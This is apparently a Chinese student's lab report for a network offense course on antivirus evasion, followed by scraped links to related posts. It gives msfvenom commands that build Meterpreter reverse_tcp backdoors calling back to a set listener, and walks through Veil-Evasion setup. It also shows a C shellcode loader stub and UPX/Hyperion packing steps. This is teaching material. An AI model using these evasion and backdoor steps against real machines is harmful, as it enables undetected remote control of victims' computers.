Exp3 免杀原理与实践

一、实验内容

1. 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

2. 通过组合应用各种技术实现恶意代码免杀

3. 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

二、基础问题回答

1.杀软是如何检测出恶意代码的?

基于特征码的检测:通过对病毒库中已有记录的恶意代码截取其中一小段代码对程序进行检测,发现相同就认定为恶意代码。

启发式恶意软件检测:就是根据恶意代码的常见特征去推断。通常是因为缺乏精确判定依据。

基于行为的恶意软件检测:可以理解为加入了行为监控的启发式。通过对恶意代码的观察研究,确定恶意代码共同的比较特殊的行为,监视程序的运行,如果发现程序出现这些特殊行为,就会认为其是恶意软件。

2.免杀是做什么?

使用各种技术手段对恶意软件进行处理,使它不会被杀毒软件检测到。

3.问:免杀的基本方法有哪些?

  • (1)改变特征码

只有EXE——加壳(压缩壳 加密壳)

有shellcode(像Meterpreter)——利用encode进行编码

有源代码——用其他语言进行重写再编译

  • (2)改变行为

    • 改变通讯方式、改变操作模式、使用非常规方法

三、实验步骤

任务一 正确使用免杀工具或技巧

1. 正确使用msf编码器,生成exe文件

  • 在实验二中使用msf生成了后门程序,使用Virscan对生成的后门程序进行扫描。

  • 在使用Virscan网站时,可能会出现文件名出现违法字,这时只需将文件名修改一下即可。
  • 改命过后Virscan网站的扫描结果如下:

2、一次编码使用命令:

  msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.1.115 LPORT=4303 -f exe > met-encoded.exe

  (-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符)

3、七次编码使用命令:-i设置迭代次数

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 7 -b ‘\x00’ LHOST=192.168.1.115 LPORT=4303 -f exe > met-encoded7.exe

将编码七次后的可执行文件上传到VirusTotal扫描后结果如下:

2. msfvenom生成jar文件和php文件

  • 生成java后门程序使用命令:
    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.115 LPORT=4303 x> 4303.jar
  • 生成PHP后门程序使用命令:
    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.115 LPORT=4303 x> 4303.php
  • 生成文件如下所示:

  • 扫描结果如下:

3. 使用veil-evasion生成后门程序及检测

       安装veil

  • 如果镜像是2018的话,在安装之前可以先执行下面的指令,如果不是可以直接下载安装。
   mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
  • sudo apt-get install veil-evasion命令安装Veil

  • veil命令打开veil,输入y继续安装直至完成

  • 成功的话,输入veil命令,会出现下面这个界面

  • use evasion命令进入Evil-Evasion

  • 输入命令use c/meterpreter/rev_tcp.py进入配置界面

  • 设置反弹连接IP,命令为:set LHOST 192.168.1.115

  • 设置端口,命令为:set LPORT 4303

  • 输入generate生成文件,接着输入你想要playload的名字:veil_4303
  • 如上图所示,保存路径为/var/lib/veil/output/compiled/veil_4303.exe

5. 半手工注入Shellcode并执行

  • 首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.116.128 LPORT=4303 -f c用c语言生成一段shellcode;

  • 创建一个文件20164303.c,然后将unsigned char buf[]赋值到其中,代码如下:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
此处省略
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; int main()
{
int (*func)() = (int(*)())buf;
func();
}
  • 使用命令:i686-w64-mingw32-g++ 20164303.c -o 20164303.exe编译这个.c文件为可执行文件;

  • 检测结果如下图:

6.对文件进行加壳

  • 使用压缩壳(UPX)

    • 给之前的20164303.exe加个壳得到4303_upxed.exe:

    • 使用命令 upx 20164303.exe -o 4303_upxed.exe

  • 加密壳Hyperion

    • 将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
    • 进入目录/usr/share/windows-binaries/hyperion/
    • 输入命令wine hyperion.exe -v 4303_upxed.exe 4303_upxed_Hyperion.exe进行加壳:
    • 检测结果如下图

任务二:通过组合应用各种技术实现恶意代码免杀

生成的php文件在检测中只有一个杀毒软件报毒,同时windows10的病毒和威胁防护也没有反应,很神奇。

其他方式生成的文件会被windows10自带的病毒和威胁防护功能杀掉,病毒检测也会报毒。

任务三 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

本来想再创建一个win7虚拟机来进行实验,然而一打开两个虚拟机,系统就崩了。呃,所以实验还没有开始就结束了。

四、实验总结与体会

这次实验出现问题很多,最头痛的是veil的安装,尝试了多种方法,呃,没有什么用。最后还是屈服了,找成功下到veil的同学拷贝了。我深切地体会到想要成功的黑掉别人的电脑也不是容易的事情,毕竟我自己黑自己都成功不了。但我也体会到网络攻防技术的魅力,并不是控制别人的电脑所带来的快感,而是费尽心血后成功的喜悦。虽然我没有成功,而且过程让我有点痛苦,但是我还是通过实验加深了对课堂所学知识的理解,也算有些收获。

Exp3 免杀原理与实践 20164303 景圣的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  2. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  3. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  5. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  6. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  7. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  8. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  9. 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...

随机推荐

  1. apache-2.4.6 mod_bw-0.92 实现限速上传或下载

    下载 mod_bw  wget http://ivn.cl/files/source/mod_bw-0.92.tgz 解压到mod_bw tar -zxvf mod_bw-0.92.tgz -C mo ...

  2. 与前端(使用vue框架)对接的问题

    1.跨域问题 跨域问题是: 浏览器的同源安全策略 没错,就是这家伙干的,浏览器只允许请求当前域的资源,而对其他域的资源表示不信任.那怎么才算跨域呢? 请求协议http,https的不同 域domain ...

  3. Fiddler抓包请求前设置断点

    1. 开启抓包 file--->capture traffic2. 在页面底部黑框输入bpu http://www.runoob.com/?s=mysql3. 在浏览器URL输入http://w ...

  4. uboot - the bootloader of linux

    [转载]https://blog.csdn.net/kernel_yx/article/details/53045424 最近一段时间一直在做uboot移植相关的工作,需要将uboot-2016-7移 ...

  5. linx下对文件权限设置

    语法格式:chmod u+/-rwx,g+/-rwx,o+/-rwx filename 如:1. 给主人添加读权限,并减去执行权限:chmod u+r,u-x filename2. 给所有用户(主人. ...

  6. java中使用JDBC的preparedStatement批处理数据的添加

    在项目中我们偶尔可能会遇到批量向数据库中导入数据,如果批处理的情况较多的情况下可以使用spring batch,如果只是一个导入功能的话可以考虑使用jdbc的preparedStatement处理. ...

  7. [js]展开运算符

    function f(...args){ console.log(args); } f(1,2,3,4,5) [...args] = [1,2,3,4] function f(...args){ co ...

  8. Spring 基于Session的创建实例

    需求 提供一个网页,根据导入的Excel数据计算结果. 第一版本设计 Controller层 @RestController public class QuoteController { privat ...

  9. 2019-oo-第二次总结

    这一单元是关于模拟电梯运行,考验多线程的一个单元,难度由简入入深,从多线程单部电梯,到优化,再到多线程多部电梯,难度一次次的提高. 一.多线程单部电梯(傻瓜调度) 1.设计策略 这一次我只额外的开了一 ...

  10. DLLHijack漏洞原理

    原理 当一个可执行文件运行时,windows加载器讲课执行模块映射到进程的地址空间中,加载器分析可执行模块的输入表,并设法找出任何需要的DLL,并将它们映射到进程的地址空间中. 由于输入表中只包含DL ...